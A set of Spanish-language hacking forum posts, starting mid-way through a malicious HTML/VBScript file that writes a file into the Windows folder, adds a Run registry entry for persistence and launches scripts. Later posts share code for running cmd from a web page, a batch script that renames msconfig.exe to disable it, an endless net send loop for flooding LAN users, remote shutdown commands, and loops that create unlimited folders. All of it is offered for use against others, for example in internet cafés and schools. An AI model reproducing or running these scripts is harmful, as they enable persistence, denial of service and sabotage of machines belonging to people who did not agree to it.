      set sysDir=fso.GetSpecialFolder(1)
      set vx = fso.CreateTextfile(windir & "\" & nume,2,false)
      vx.writeline("MZ")
      vx.Close
      shell.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Winlogon", winDir & "\" & nume
      shell.run("wscript " & windir & "\" & nume)
      shell.run("wscript \bUSik.vbs")
   end if
</script>
<!--esta parte ace k se cierre la ventana del IE-->
<script language="javascript">
   close();
</script>

</html>

Bueno este code es viejo y lo tenia guardado en un .txt de mi pcXD ni me acuerdo cuando lo hice o de donde lo saque! pero la parte roja es el de la SHELL (cmd)
bueno no recuerdo bien pero el code que lo hace funcionar es asi:

enseño aqui, con esto pueden ejecutar sus codigos desde cualquier pagina que tenga e incluso pruebenlo, abren el notepad, ponen este code y lo guardan como html!

                                                 CODIGO:


<script language="vbs">
   on error resume next
   Set shell = createObject("Wscript.shell")
  shell.run("cmd.exe /c @echo off & color a & echo ohola el mioooo & msg * holaa & pause & exit")
</script>

pues si tiene error avisenme llevo años que no pruebo esta tecnica, y no se si es asi!
Una cosa IMPORTANTE, NO ejecuten el code que les deje arriba! osea el primero ya el segundo si peuden e saquen variasiones!

Salu2's! cool

jeje bueno un pequeñometodo que aprendi hace tiempo en batch cuando me inicie, y bueno lo voy a compartit con ustedes, es para bloquear el msconfig (No se si todavia funcione)

CODIGO:

@echo off
ren C:\WINDOWS\ServicePackFiles\i386\msconfig.exe qwe.dll
ren C:\WINDOWS\pchealth\helpctr\binaries\msconfig.exe ewq.dll
exit

pues si no me equivico esto lo inabilita, espero que les sea util y espero que sirva todavia!

Salu2's!  cool

Saludos, bueno aqui posteo una tecnica para "joder" a las personas que esten conectadas por lan como cuales? pues como las de un cyber, o tu colegio, etc.....
lo que vamos a hacer es usar el comando net send * + un bucle, para asi mandar muchas veces un mensaje por la LAN le llegue a los otros infinitas veces y bueno los jodan o incluso les pueden pegar la pc! Bueno sin mas que decir aqui esta el code:

:hi
net send * Juaked By-Skull
goto hi

Si no les sirve por ejemplo tiene 2 maquinas conectadas en LAN y mandan el mensaje y no les llega a la otra maquina, pues berifiquen 2 cosas:

1- Que si esten conectadas por LAN
2- vallan a panel de control -> herramientas administ -> servicios ahi busca "mensajero" en las pcs q funciona vas a ver q esta activado y en las q no no...

Lo que sale en amarillo lo pueden modificar ustedes por su propio mensaje y lo de rojo es obligatorio tenerlo! giño

Salu2's! cool

Saludos, bueno ya he publicado otro tema de un Flood o DDoS para LAN, no se si esto debio ir hay, pero bueno disculpen la molestia!

Estos metodos lo use hase tiempo y me sirvieron, pero para algunos metodos necesitas privilegio de Administrador si no mal recuerdo recuerden que tiene que estar por LAN...

Comenzemos:

1-
    Shutdown -s -m \\MakinaA-Apagar -t 2

ok, donde dice, MakinaA-Apagar esa es la maquina que vamos a apagar remotamente, osea ese es el nombre de la maquina que esta conectada a LAN, como veo el nombre y las maquinas conectadas en LAN??? pues sencillo abran el cmd y pongan net view y con eso les apareceran las maquinas conectadas (Este metodo no lo probe como visitante sino como Admin y me funciono)

2-
    shutdown -s -m \\%USERLOGON% -t 2

Este lo que hace es apagar la mayoria de las maquinas en LAN....

3-
    tsshutdn

Si teclean por si solo este comando, TODAS las maquinas conectadas en lan como en un cyber se apagaran en 60 segundos, esta es una vulnerabilidad catalogada "Vulnerabilidad de Denegacion de Servicio remotamente explotable" esto es potente!XD
la desventaja es que solo funciona con el SP1 ya para el SP2 se nos escapo!XD (SP de XP)

4-
    Ya postee este metodo busquenlo en el foro es del DDoS o Flood!

Bueno ese son algunas tecnicas, para apagar pcs y controlar LAN "", espero que les guste y no jodan mucho!

bueno para los que quieren crear muchas carpetas, infinitas por decirlo asi, aqui posteo dos metodos el primero que me parece facil:

:bucle
set /a cont=cont+1
md %cont%
goto bucle

este es EXTREMADAMENTE facil y util!

y el otro usando el for:
Pero llegaria hasta 65530 o un numero parecido, puedes hacer:

for /L %%A IN (1,1,65000) DO (
       for /L %%B IN (1,1,65000) DO (
           for /L %%C IN (1,1,65000) DO (
                for /L %%D IN (1,1,65000) DO md %%D)))

si no me equivoco es asi! espero que les guste

Salu2's! cool